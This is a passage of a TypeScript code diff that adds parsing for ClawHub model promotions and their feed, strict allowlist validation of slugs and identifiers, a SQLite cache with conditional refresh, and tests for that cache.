Error(`Malformed ClawHub ${context}: expected ${field} to be a number.`); +} + +function optionalBooleanField( + source: Record, + field: string, + context: string, +): boolean | undefined { + const value = source[field]; + if (value === undefined || typeof value === "boolean") { + return value; + } + throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a boolean.`); +} + +function optionalStringArrayField( + source: Record, + field: string, + context: string, +): string[] | undefined { + const value = source[field]; + if (value === undefined) { + return undefined; + } + if (Array.isArray(value) && value.every((entry) => typeof entry === "string")) { + return value; + } + throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a string array.`); +} + function parseOptionalSecurityPackage(value: unknown): ClawHubPackageSecurityResponse["package"] { if (value === undefined || value === null) { return value; @@ -1656,3 +1710,290 @@ export function satisfiesGatewayMinimum( } return isAtLeast(current, minimum); } + +// ─── ClawHub promotions ──────────────────────────────────────────────────── +// Promotional model offers published by ClawHub (GET /api/v1/promotions). +// The payload is declarative only: provider/authChoiceId/pluginNames are +// validated against the local provider catalog by the caller before any +// install/auth action, so a malformed or hostile record cannot execute code. + +export type ClawHubPromotionModel = { + modelRef: string; + alias?: string; + suggestedDefault?: boolean; +}; + +export type ClawHubPromotion = { + slug: string; + title: string; + blurb: string; + sponsor?: string; + status: string; + active: boolean; + startsAt: number; + endsAt: number; + provider?: string; + authChoiceId?: string; + pluginNames?: string[]; + models: ClawHubPromotionModel[]; + signupUrl?: string; + docsUrl?: string; + launchPageUrl?: string; +}; + +// A hosted-feed snapshot entry: the same declarative payload without the +// live-only status/active flags (the feed only ever contains live records; +// clients still window-filter on startsAt/endsAt). +export type ClawHubPromotionsFeedEntry = Omit; + +export type ClawHubPromotionsFeed = { + schemaVersion: number; + id: string; + generatedAt: string; + sequence: number; + expiresAt: string; + entries: ClawHubPromotionsFeedEntry[]; +}; + +// Shell-safe contract for provider/model refs: they are echoed into +// copy-paste CLI commands, so whitespace and shell metacharacters must fail +// parsing rather than reach a terminal. +const CLAWHUB_PROMOTION_MODEL_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._:/-]*$/; + +function parseClawHubPromotionModel(value: unknown, context: string): ClawHubPromotionModel { + if (!isJsonObject(value)) { + throw new Error(`Malformed ClawHub ${context}: expected each model to be an object.`); + } + const modelRef = requiredStringField(value, "modelRef", context); + if (!CLAWHUB_PROMOTION_MODEL_REF_RE.test(modelRef)) { + throw new Error(`Malformed ClawHub ${context}: modelRef contains unsupported characters.`); + } + const model: ClawHubPromotionModel = { + modelRef, + }; + const alias = optionalStringField(value, "alias", context); + if (alias) { + model.alias = alias; + } + const suggestedDefault = optionalBooleanField(value, "suggestedDefault", context); + if (suggestedDefault !== undefined) { + model.suggestedDefault = suggestedDefault; + } + return model; +} + +// ClawHub's server-side slug contract. Enforced here because slugs are echoed +// into copy-paste CLI commands; anything else would be a shell-injection path. +const CLAWHUB_PROMOTION_SLUG_RE = /^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/; + +// Safe identifier grammar for provider ids and auth choice ids. +const CLAWHUB_PROMOTION_IDENTIFIER_RE = /^[A-Za-z0-9][A-Za-z0-9._@/-]*$/; + +// Shared shape between the live API promotion and a feed entry: everything +// except the live-only `status`/`active` flags. +function parseClawHubPromotionCore( + value: Record, + context: string, +): ClawHubPromotionsFeedEntry { + const modelsRaw = value.models; + if (!Array.isArray(modelsRaw) || modelsRaw.length === 0) { + throw new Error(`Malformed ClawHub ${context}: expected models to be a non-empty array.`); + } + const slug = requiredStringField(value, "slug", context); + if (!CLAWHUB_PROMOTION_SLUG_RE.test(slug)) { + throw new Error(`Malformed ClawHub ${context}: slug must be lowercase [a-z0-9-].`); + } + const startsAt = requiredNumberField(value, "startsAt", context); + const endsAt = requiredNumberField(value, "endsAt", context); + if (endsAt <= startsAt) { + throw new Error(`Malformed ClawHub ${context}: promotion window must end after it starts.`); + } + const promotion: ClawHubPromotionsFeedEntry = { + slug, + title: requiredStringField(value, "title", context), + blurb: requiredStringField(value, "blurb", context), + startsAt, + endsAt, + models: modelsRaw.map((entry) => parseClawHubPromotionModel(entry, context)), + }; + const optionalStrings = ["sponsor", "signupUrl", "docsUrl", "launchPageUrl"] as const; + for (const field of optionalStrings) { + const parsed = optionalStringField(value, field, context); + if (parsed) { + promotion[field] = parsed; + } + } + // Identifier fields are echoed into error messages and config; hold them to + // a safe identifier grammar so remote payloads cannot smuggle terminal + // controls or whitespace through failure paths. + const identifierFields = ["provider", "authChoiceId"] as const; + for (const field of identifierFields) { + const parsed = optionalStringField(value, field, context); + if (!parsed) { + continue; + } + if (!CLAWHUB_PROMOTION_IDENTIFIER_RE.test(parsed)) { + throw new Error(`Malformed ClawHub ${context}: ${field} contains unsupported characters.`); + } + promotion[field] = parsed; + } + const pluginNames = optionalStringArrayField(value, "pluginNames", context); + if (pluginNames && pluginNames.length > 0) { + for (const name of pluginNames) { + const parsed = parseRegistryNpmSpec(name); + if (!parsed || parsed.selectorKind !== "none" || parsed.name !== name) { + throw new Error( + `Malformed ClawHub ${context}: pluginNames must contain npm package names.`, + ); + } + } + promotion.pluginNames = pluginNames; + } + return promotion; +} + +export function parseClawHubPromotion(value: unknown): ClawHubPromotion { + const context = "promotion"; + if (!isJsonObject(value)) { + throw new Error(`Malformed ClawHub ${context}: expected an object.`); + } + return { + ...parseClawHubPromotionCore(value, context), + status: requiredStringField(value, "status", context), + active: requiredBooleanField(value, "active", context), + }; +} + +export async function fetchClawHubPromotions( + params: { + baseUrl?: string; + timeoutMs?: number; + fetchImpl?: FetchLike; + } = {}, +): Promise { + const response = await fetchJson({ + baseUrl: params.baseUrl, + path: "/api/v1/promotions", + timeoutMs: params.timeoutMs, + fetchImpl: params.fetchImpl, + }); + if (!isJsonObject(response) || !Array.isArray(response.promotions)) { + throw new Error("Malformed ClawHub promotions response: expected a promotions array."); + } + return response.promotions.map((entry) => parseClawHubPromotion(entry)); +} + +export async function fetchClawHubPromotion(params: { + slug: string; + baseUrl?: string; + timeoutMs?: number; + fetchImpl?: FetchLike; +}): Promise { + const response = await fetchJson({ + baseUrl: params.baseUrl, + path: `/api/v1/promotions/${encodeURIComponent(params.slug)}`, + timeoutMs: params.timeoutMs, + fetchImpl: params.fetchImpl, + }); + return parseClawHubPromotion(response); +} + +// ─── ClawHub promotions feed (GET /api/v1/feeds/promotions) ─────────────── +// Immutable hosted snapshot used for passive discovery: cheap conditional +// GETs (`If-None-Match` → 304), never authoritative for claiming — `promos +// claim` always revalidates against the live API so the kill switch wins +// regardless of snapshot staleness. + +export const CLAWHUB_PROMOTIONS_FEED_ID = "clawhub-promotions"; +// Strict cross-repo wire contract with ClawHub's promotionsFeed publisher. +// Bump only in lockstep with the server-side schema. +export const CLAWHUB_PROMOTIONS_FEED_SCHEMA_VERSION = 1; + +export function parseClawHubPromotionsFeed(value: unknown): ClawHubPromotionsFeed { + const context = "promotions feed"; + if (!isJsonObject(value)) { + throw new Error(`Malformed ClawHub ${context}: expected an object.`); + } + const id = requiredStringField(value, "id", context); + if (id !== CLAWHUB_PROMOTIONS_FEED_ID) { + throw new Error(`Malformed ClawHub ${context}: unexpected feed id.`); + } + const schemaVersion = requiredNumberField(value, "schemaVersion", context); + if (schemaVersion !== CLAWHUB_PROMOTIONS_FEED_SCHEMA_VERSION) { + throw new Error(`Unsupported ClawHub ${context} schema version ${schemaVersion}.`); + } + const sequence = requiredNumberField(value, "sequence", context); + if (!Number.isSafeInteger(sequence) || sequence < 0) { + throw new Error(`Malformed ClawHub ${context}: sequence must be a non-negative integer.`); + } + const generatedAt = requiredStringField(value, "generatedAt", context); + const expiresAt = requiredStringField(value, "expiresAt", context); + const generatedAtMs = Date.parse(generatedAt); + const expiresAtMs = Date.parse(expiresAt); + if (!Number.isFinite(generatedAtMs) || !Number.isFinite(expiresAtMs)) { + throw new Error(`Malformed ClawHub ${context}: timestamps must be ISO dates.`); + } + if (expiresAtMs <= generatedAtMs) { + throw new Error(`Malformed ClawHub ${context}: expiresAt must be after generatedAt.`); + } + const entriesRaw = value.entries; + if (!Array.isArray(entriesRaw)) { + throw new Error(`Malformed ClawHub ${context}: expected an entries array.`); + } + const entries = entriesRaw.map((entry) => { + if (!isJsonObject(entry)) { + throw new Error(`Malformed ClawHub ${context}: expected each entry to be an object.`); + } + if (requiredStringField(entry, "type", context) !== "promotion") { + throw new Error(`Malformed ClawHub ${context}: unexpected entry type.`); + } + return parseClawHubPromotionCore(entry, context); + }); + return { schemaVersion, id, generatedAt, sequence, expiresAt, entries }; +} + +export type ClawHubPromotionsFeedFetchResult = + | { status: "not-modified" } + | { status: "ok"; feed: ClawHubPromotionsFeed; payload: string; etag?: string }; + +export async function fetchClawHubPromotionsFeed( + params: { + etag?: string; + baseUrl?: string; + timeoutMs?: number; + fetchImpl?: FetchLike; + } = {}, +): Promise { + const { response, url } = await clawhubRequest({ + baseUrl: params.baseUrl, + path: "/api/v1/feeds/promotions", + timeoutMs: params.timeoutMs, + fetchImpl: params.fetchImpl, + // Public CDN-served snapshot; an Authorization header would only + // fragment edge caches. + skipAuth: true, + ...(params.etag ? { headers: { "If-None-Match": params.etag } } : {}), + }); + if (response.status === 304) { + return { status: "not-modified" }; + } + if (!response.ok) { + throw await buildClawHubError(response, url, false, params.timeoutMs); + } + const buffer = await readClawHubResponseBytes({ + response, + maxBytes: CLAWHUB_JSON_MAX_BYTES, + timeoutMs: params.timeoutMs, + resourceLabel: "promotions feed", + }); + const payload = new TextDecoder().decode(buffer); + let parsedJson: unknown; + try { + parsedJson = JSON.parse(payload); + } catch (cause) { + throw new Error(`ClawHub ${url.pathname} returned malformed JSON`, { cause }); + } + const feed = parseClawHubPromotionsFeed(parsedJson); + const etag = response.headers.get("etag") ?? undefined; + return { status: "ok", feed, payload, ...(etag ? { etag } : {}) }; +} diff --git a/src/infra/promotions-feed.test.ts b/src/infra/promotions-feed.test.ts new file mode 100644 index 000000000000..18e57d55b9cf --- /dev/null +++ b/src/infra/promotions-feed.test.ts @@ -0,0 +1,246 @@ +// Covers the promotions feed cache: refresh cadence, 304 revalidation, +// sequence monotonicity, notified markers, and claim provenance. +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { DB as OpenClawStateKyselyDatabase } from "../state/openclaw-state-db.generated.js"; +import { + closeOpenClawStateDatabaseForTest, + runOpenClawStateWriteTransaction, +} from "../state/openclaw-state-db.js"; +import { + createOpenClawTestState, + type OpenClawTestState, +} from "../test-utils/openclaw-test-state.js"; +import { executeSqliteQuerySync, getNodeSqliteKysely } from "./kysely-sync.js"; +import { + listLivePromotionEntries, + markPromotionSlugsNotified, + maybeRefreshPromotionsFeed, + readPromotionClaims, + readPromotionsFeedState, + recordPromotionClaim, +} from "./promotions-feed.js"; + +const NOW = Date.parse("2026-07-05T12:00:00.000Z"); + +function feedPayload(overrides: Record = {}) { + return { + schemaVersion: 1, + id: "clawhub-promotions", + generatedAt: "2026-07-05T00:00:00.000Z", + sequence: 4, + expiresAt: "2026-07-06T00:00:00.000Z", + entries: [ + { + type: "promotion", + slug: "example-models-launch", + title: "Free Example models", + blurb: "Limited-time offer.", + startsAt: NOW - 86_400_000, + endsAt: NOW + 86_400_000, + provider: "example-provider", + authChoiceId: "example-provider-api-key", + models: [{ modelRef: "example-provider/example/model-alpha", alias: "model-alpha" }], + }, + ], + ...overrides, + }; +} + +function feedResponse(body: unknown, init: { status?: number; etag?: string } = {}) { + return new Response(init.status === 304 ? null : JSON.stringify(body), { + status: init.status ?? 200, + headers: { + "content-type": "application/json", + ...(init.etag ? { etag: init.etag } : {}), + }, + }); +} + +describe("promotions feed state", () => { + let testState: OpenClawTestState; + + beforeEach(async () => { + testState = await createOpenClawTestState({ + layout: "state-only", + prefix: "openclaw-promotions-feed-", + }); + }); + + afterEach(async () => { + closeOpenClawStateDatabaseForTest(); + await testState.cleanup(); + }); + + it("caches a fetched snapshot and round-trips it from storage", async () => { + const fetchImpl = vi.fn(async () => feedResponse(feedPayload(), { etag: '"v4"' })); + const state = await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(1); + expect(state.sequence).toBe(4); + expect(state.etag).toBe('"v4"'); + expect(state.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z")); + expect(state.entries).toHaveLength(1); + + const persisted = readPromotionsFeedState(); + expect(persisted.sequence).toBe(4); + expect(persisted.expiresAtMs).toBe(Date.parse("2026-07-06T00:00:00.000Z")); + expect(persisted.entries[0]?.slug).toBe("example-models-launch"); + expect(listLivePromotionEntries(persisted, NOW)).toHaveLength(1); + expect(listLivePromotionEntries(persisted, NOW + 3 * 86_400_000)).toHaveLength(0); + }); + + it("skips the network while the last check is fresh", async () => { + const fetchImpl = vi.fn(async () => feedResponse(feedPayload())); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + const second = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(1); + expect(second.entries).toHaveLength(1); + }); + + it("refreshes at feed expiry and keeps an expired 304 snapshot hidden without retrying", async () => { + const expiresAt = new Date(NOW + 60_000).toISOString(); + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt }), { etag: '"v4"' })) + .mockResolvedValueOnce(feedResponse(null, { status: 304 })); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + + const expired = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(listLivePromotionEntries(expired, NOW + 60_000)).toHaveLength(0); + + const cached = await maybeRefreshPromotionsFeed({ nowMs: NOW + 61_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(listLivePromotionEntries(cached, NOW + 61_000)).toHaveLength(0); + }); + + it("keeps an expired snapshot hidden after a failed expiry refresh without retrying", async () => { + const expiresAt = new Date(NOW + 60_000).toISOString(); + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt }))) + .mockRejectedValueOnce(new Error("offline")); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + + const expired = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(listLivePromotionEntries(expired, NOW + 60_000)).toHaveLength(0); + + const cached = await maybeRefreshPromotionsFeed({ nowMs: NOW + 61_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(listLivePromotionEntries(cached, NOW + 61_000)).toHaveLength(0); + }); + + it("replaces an expired snapshot when ClawHub publishes a newer sequence", async () => { + const firstExpiry = new Date(NOW + 60_000).toISOString(); + const nextExpiry = new Date(NOW + 86_400_000).toISOString(); + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt: firstExpiry, sequence: 4 }))) + .mockResolvedValueOnce(feedResponse(feedPayload({ expiresAt: nextExpiry, sequence: 5 }))); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + + const refreshed = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(refreshed.sequence).toBe(5); + expect(refreshed.expiresAtMs).toBe(Date.parse(nextExpiry)); + expect(listLivePromotionEntries(refreshed, NOW + 60_000)).toHaveLength(1); + }); + + it("revalidates with If-None-Match and keeps the cache on 304", async () => { + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload(), { etag: '"v4"' })) + .mockResolvedValueOnce(feedResponse(null, { status: 304 })); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl }); + expect(fetchImpl).toHaveBeenCalledTimes(2); + const secondInit = fetchImpl.mock.calls[1]?.[1] as RequestInit; + expect(new Headers(secondInit.headers).get("if-none-match")).toBe('"v4"'); + expect(state.entries).toHaveLength(1); + expect(readPromotionsFeedState().lastCheckedAtMs).toBe(NOW + 60_000); + }); + + it("drops a stale validator when the cached payload is invalid", async () => { + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload(), { etag: '"v4"' })) + .mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 5 }), { etag: '"v5"' })); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + runOpenClawStateWriteTransaction(({ db }) => { + const kysely = + getNodeSqliteKysely>(db); + executeSqliteQuerySync( + db, + kysely + .updateTable("clawhub_promotions_feed_state") + .set({ payload_json: "{invalid" }) + .where("state_key", "=", "default"), + ); + }); + + const state = await maybeRefreshPromotionsFeed({ + nowMs: NOW + 60_000, + fetchImpl, + }); + + const secondInit = fetchImpl.mock.calls[1]?.[1] as RequestInit; + expect(new Headers(secondInit.headers).get("if-none-match")).toBeNull(); + expect(state.sequence).toBe(5); + expect(state.etag).toBe('"v5"'); + expect(state.entries).toHaveLength(1); + }); + + it("never replaces the cache with an older snapshot sequence", async () => { + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 4 }))) + .mockResolvedValueOnce(feedResponse(feedPayload({ sequence: 2, entries: [] }))); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl }); + expect(state.sequence).toBe(4); + expect(state.entries).toHaveLength(1); + }); + + it("fails silent on network errors and keeps the cached snapshot", async () => { + const fetchImpl = vi + .fn() + .mockResolvedValueOnce(feedResponse(feedPayload())) + .mockRejectedValueOnce(new Error("offline")); + await maybeRefreshPromotionsFeed({ nowMs: NOW, fetchImpl }); + const state = await maybeRefreshPromotionsFeed({ nowMs: NOW + 60_000, force: true, fetchImpl }); + expect(state.entries).toHaveLength(1); + // The failed attempt still stamps the check time so offline runs do not + // retry on every command. + expect(state.lastCheckedAtMs).toBe(NOW + 60_000); + }); + + it("persists notified slugs across reads", () => { + markPromotionSlugsNotified(["example-models-launch", "second-offer"]); + markPromotionSlugsNotified(["example-models-launch"]); + expect([...readPromotionsFeedState().notifiedSlugs].toSorted()).toEqual([ + "example-models-launch", + "second-offer", + ]); + }); + + it("round-trips claim provenance and upserts by slug", () => { + recordPromotionClaim({ + slug: "example-models-launch", + provider: "example-provider", + modelKeys: ["example-provider/example/model-alpha"], + endsAtMs: NOW + 86_400_000, + claimedAtMs: NOW, + }); + recordPromotionClaim({ + slug: "example-models-launch", + provider: "example-provider", + modelKeys: ["example-provider/example/model-alpha", "example-provider/example/model-beta"], + endsAtMs: NOW + 2 * 86_400_000, + claimedAtMs: NOW + 1, + }); + const claims = readPromotionClaims(); + expect(claims).toHaveLength(1); + expect(claims[0]?.modelKeys).toHaveLength(2); + expect(claims[0]?.endsAtMs).toBe(NOW + 2 * 86_400_000); + }); +}); diff --git a/src/infra/promotions-feed.ts b/src/infra/promotions-feed.ts new file mode 100644 index 000000000000..1390df7e47b6 --- /dev/null +++ b/src/infra/promotions-feed.ts @@ -0,0 +1,351 @@ +import type { DB as OpenClawStateKyselyDatabase } from "../state/openclaw-state-db.generated.js"; +import { + openOpenClawStateDatabase, + runOpenClawStateWriteTransaction, +} from "../state/openclaw-state-db.js"; +import { + type ClawHubPromotionsFeedEntry, + fetchClawHubPromotionsFeed, + parseClawHubPromotionsFeed, +} from "./clawhub.js"; +import { + executeSqliteQuerySync, + executeSqliteQueryTakeFirstSync, + getNodeSqliteKysely, +} from "./kysely-sync.js"; + +// Passive-discovery cache for the ClawHub promotions feed. Deliberately a +// separate store from `update_check_state`: promo discovery must never +// delay, break, or contend with update checks. The cache is best-effort — +// every reader falls back to "no promotions" on any storage or parse error, +// and `promos claim` always revalidates against the live API. + +const PROMOTIONS_FEED_STATE_KEY = "default"; +const PROMOTIONS_FEED_CHECK_INTERVAL_MS = 24 * 60 * 60 * 1000; +// Refreshes run inline from interactive commands, so they get a short +// timeout (matching the update check's 2.5s) instead of ClawHub's default +// 30s — a blackholed connection must not stall `models list`. +const PROMOTIONS_FEED_FETCH_TIMEOUT_MS = 2500; + +type PromotionsFeedDatabase = Pick< + OpenClawStateKyselyDatabase, + "clawhub_promotions_feed_state" | "clawhub_promotion_claims" +>; + +export type PromotionsFeedState = { + etag?: string; + sequence?: number; + expiresAtMs?: number; + entries: ClawHubPromotionsFeedEntry[]; + lastCheckedAtMs?: number; + notifiedSlugs: Set; +}; + +export type PromotionClaimRecord = { + slug: string; + provider?: string; + modelKeys: string[]; + endsAtMs: number; + claimedAtMs: number; +}; + +const EMPTY_STATE: PromotionsFeedState = { entries: [], notifiedSlugs: new Set() }; + +type PromotionsFeedStateRead = { + state: PromotionsFeedState; + payloadInvalid: boolean; +}; + +function parseSlugListJson(raw: string | null): Set { + if (!raw) { + return new Set(); + } + const parsed = JSON.parse(raw) as unknown; + if (!Array.isArray(parsed)) { + return new Set(); + } + return new Set(parsed.filter((entry): entry is string => typeof entry === "string")); +} + +function readPromotionsFeedStateWithMetadata(): PromotionsFeedStateRead { + try { + const database = openOpenClawStateDatabase(); + const db = getNodeSqliteKysely(database.db); + const row = executeSqliteQueryTakeFirstSync( + database.db, + db + .selectFrom("clawhub_promotions_feed_state") + .select([ + "etag", + "payload_json", + "feed_sequence", + "last_checked_at_ms", + "notified_slugs_json", + ]) + .where("state_key", "=", PROMOTIONS_FEED_STATE_KEY), + ); + if (!row) { + return { + state: { ...EMPTY_STATE, notifiedSlugs: new Set() }, + payloadInvalid: false, + }; + } + let entries: ClawHubPromotionsFeedEntry[] = []; + let expiresAtMs: number | undefined; + let payloadInvalid = false; + if (row.payload_json) { + try { + const feed = parseClawHubPromotionsFeed(JSON.parse(row.payload_json)); + entries = feed.entries; + expiresAtMs = Date.parse(feed.expiresAt); + } catch { + payloadInvalid = true; + } + } + return { + state: { + ...(!payloadInvalid && row.etag ? { etag: row.etag } : {}), + ...(!payloadInvalid && typeof row.feed_sequence === "number" + ? { sequence: row.feed_sequence } + : {}), + ...(!payloadInvalid && expiresAtMs !== undefined ? { expiresAtMs } : {}), + entries, + ...(typeof row.last_checked_at_ms === "number" + ? { lastCheckedAtMs: row.last_checked_at_ms } + : {}), + notifiedSlugs: parseSlugListJson(row.notified_slugs_json), + }, + payloadInvalid, + }; + } catch { + return { + state: { ...EMPTY_STATE, notifiedSlugs: new Set() }, + payloadInvalid: false, + }; + } +} + +export function readPromotionsFeedState(): PromotionsFeedState { + return readPromotionsFeedStateWithMetadata().state; +} + +type WritePromotionsFeedStateParams = { + etag?: string | null; + sequence?: number | null; + payloadJson?: string | null; + lastCheckedAtMs?: number; + notifiedSlugs?: Set; +}; + +function writePromotionsFeedState(params: WritePromotionsFeedStateParams): void { + runOpenClawStateWriteTransaction((database) => { + const db = getNodeSqliteKysely(database.db); + const existing = executeSqliteQueryTakeFirstSync( + database.db, + db + .selectFrom("clawhub_promotions_feed_state") + .select([ + "etag", + "payload_json", + "feed_sequence", + "last_checked_at_ms", + "notified_slugs_json", + ]) + .where("state_key", "=", PROMOTIONS_FEED_STATE_KEY), + ); + const next = { + etag: params.etag === undefined ? (existing?.etag ?? null) : params.etag, + payload_json: + params.payloadJson === undefined ? (existing?.payload_json ?? null) : params.payloadJson, + feed_sequence: + params.sequence === undefined ? (existing?.feed_sequence ?? null) : params.sequence, + last_checked_at_ms: params.lastCheckedAtMs ?? existing?.last_checked_at_ms ?? null, + notified_slugs_json: params.notifiedSlugs + ? JSON.stringify([...params.notifiedSlugs].toSorted()) + : (existing?.notified_slugs_json ?? "[]"), + updated_at_ms: Date.now(), + }; + executeSqliteQuerySync( + database.db, + db + .insertInto("clawhub_promotions_feed_state") + .values({ state_key: PROMOTIONS_FEED_STATE_KEY, ...next }) + .onConflict((conflict) => conflict.column("state_key").doUpdateSet(next)), + ); + }); +} + +export function markPromotionSlugsNotified(slugs: Iterable): void { + try { + const state = readPromotionsFeedState(); + const merged = new Set(state.notifiedSlugs); + let changed = false; + for (const slug of slugs) { + if (!merged.has(slug)) { + merged.add(slug); + changed = true; + } + } + if (changed) { + writePromotionsFeedState({ notifiedSlugs: merged }); + } + } catch { + // Best-effort: a failed marker write only risks repeating a notice. + } +} + +export function isPromotionWindowLive( + entry: Pick, + nowMs: number, +): boolean { + return entry.startsAt <= nowMs && nowMs <= entry.endsAt; +} + +export function listLivePromotionEntries( + state: PromotionsFeedState, + nowMs: number, +): ClawHubPromotionsFeedEntry[] { + if (state.expiresAtMs !== undefined && nowMs >= state.expiresAtMs) { + return []; + } + return state.entries.filter((entry) => isPromotionWindowLive(entry, nowMs)); +} + +type RefreshPromotionsFeedParams = { + nowMs?: number; + force?: boolean; + fetchImpl?: (input: string | URL | Request, init?: RequestInit) => Promise; + timeoutMs?: number; +}; + +/** + * Cadence-gated, fail-silent feed refresh. At most one conditional GET per + * check interval; offline or malformed responses leave the cached state + * untouched (aside from the attempt timestamp, so failures do not retry on + * every command). Returns the freshest available state. + */ +export async function maybeRefreshPromotionsFeed( + params: RefreshPromotionsFeedParams = {}, +): Promise { + const { state, payloadInvalid } = readPromotionsFeedStateWithMetadata(); + const nowMs = params.nowMs ?? Date.now(); + // Never hit the network from unit tests unless the test injects a fetch. + const skipForTests = + !params.fetchImpl && (process.env.VITEST !== undefined || process.env.NODE_ENV === "test"); + // Revalidate when a snapshot reaches its producer-declared expiry. Once an + // expiry refresh has been attempted, lastCheckedAtMs moves past that horizon + // so an offline/304 response stays hidden without retrying on every command. + const checkedBeforeSnapshotExpired = + state.expiresAtMs !== undefined && + state.lastCheckedAtMs !== undefined && + state.lastCheckedAtMs < state.expiresAtMs; + const fresh = + !payloadInvalid && + state.lastCheckedAtMs !== undefined && + nowMs - state.lastCheckedAtMs < PROMOTIONS_FEED_CHECK_INTERVAL_MS && + (!checkedBeforeSnapshotExpired || state.expiresAtMs === undefined || nowMs < state.expiresAtMs); + if (skipForTests || (fresh && !params.force)) { + return state; + } + try { + const result = await fetchClawHubPromotionsFeed({ + ...(state.etag ? { etag: state.etag } : {}), + ...(params.fetchImpl ? { fetchImpl: params.fetchImpl } : {}), + timeoutMs: params.timeoutMs ?? PROMOTIONS_FEED_FETCH_TIMEOUT_MS, + }); + if (result.status === "not-modified") { + writePromotionsFeedState({ lastCheckedAtMs: nowMs }); + return { ...state, lastCheckedAtMs: nowMs }; + } + // Snapshots are monotonic; never replace cached state with an older + // sequence a stale edge might still serve. + if (state.sequence !== undefined && result.feed.sequence < state.sequence) { + writePromotionsFeedState({ lastCheckedAtMs: nowMs }); + return { ...state, lastCheckedAtMs: nowMs }; + } + writePromotionsFeedState({ + etag: result.etag ?? null, + sequence: result.feed.sequence, + payloadJson: result.payload, + lastCheckedAtMs: nowMs, + }); + return { + ...(result.etag ? { etag: result.etag } : {}), + sequence: result.feed.sequence, + expiresAtMs: Date.parse(result.feed.expiresAt), + entries: result.feed.entries, + lastCheckedAtMs: nowMs, + notifiedSlugs: state.notifiedSlugs, + }; + } catch { + try { + writePromotionsFeedState({ + ...(payloadInvalid ? { etag: null, sequence: null, payloadJson: null } : {}), + lastCheckedAtMs: nowMs, + }); + } catch { + // Storage unavailable: stay fully in-memory for this invocation. + } + return { ...state, lastCheckedAtMs: nowMs }; + } +} + +export function recordPromotionClaim(record: PromotionClaimRecord): void { + try { + runOpenClawStateWriteTransaction((database) => { + const db = getNodeSqliteKysely(database.db); + const values = { + slug: record.slug, + provider: record.provider ?? null, + model_keys_json: JSON.stringify(record.modelKeys), + ends_at_ms: record.endsAtMs, + claimed_at_ms: record.claimedAtMs, + }; + executeSqliteQuerySync( + database.db, + db + .insertInto("clawhub_promotion_claims") + .values(values) + .onConflict((conflict) => conflict.column("slug").doUpdateSet(values)), + ); + }); + } catch { + // Provenance is annotation-only; a failed write must never fail a claim. + } +} + +export function readPromotionClaims(): PromotionClaimRecord[] { + try { + const database = openOpenClawStateDatabase(); + const db = getNodeSqliteKysely(database.db); + const { rows } = executeSqliteQuerySync( + database.db, + db + .selectFrom("clawhub_promotion_claims") + .select(["slug", "provider", "model_keys_json", "ends_at_ms", "claimed_at_ms"]), + ); + return rows.map((row) => { + let modelKeys: string[] = []; + try { + const parsed = JSON.parse(row.model_keys_json) as unknown; + if (Array.isArray(parsed)) { + modelKeys = parsed.filter((entry): entry is string => typeof entry === "string"); + } + } catch { + // Ignore malformed provenance rows; they only power annotations. + } + const record: PromotionClaimRecord = { + slug: row.slug, + modelKeys, + endsAtMs: row.ends_at_ms, + claimedAtMs: row.claimed_at_ms, + }; + if (row.provider) { + record.provider = row.provider; + } + return record; + }); + } catch { + return []; + } +} diff --git a/src/state/openclaw-state-db.generated.d.ts b/src/state/openclaw-state-db.generated.d.ts index 0819d6e9d187..5e2b36aebd36 100644 --- a/src/state/openclaw-state-db.generated.d.ts +++ b/src/state/openclaw-state-db.generated.d.ts @@ -205,6 +205,24 @@ export interface ChannelPairingRequests { request_id: string; } +export interface ClawhubPromotionClaims { + claimed_at_ms: number; + ends_at_ms: number; + model_keys_json: string; + provider: string | null; + slug: string; +} + +export interface ClawhubPromotionsFeedState { + etag: string | null; + feed_sequence: number | null; + last_checked_at_ms: number | null; + notified_slugs_json: Generated; + payload_json: string | null; + state_key: string; + updated_at_ms: number; +} + export interface CommandLogEntries { action: string; entry_json: string; @@ -1051,6 +1069,8 @@ export interface DB { channel_ingress_events: ChannelIngressEvents; channel_pairing_allow_entries: ChannelPairingAllowEntries; channel_pairing_requests: ChannelPairingRequests; + clawhub_promotion_claims: ClawhubPromotionClaims; + clawhub_promotions_feed_state: ClawhubPromotionsFeedState; command_log_entries: CommandLogEntries; commitments: 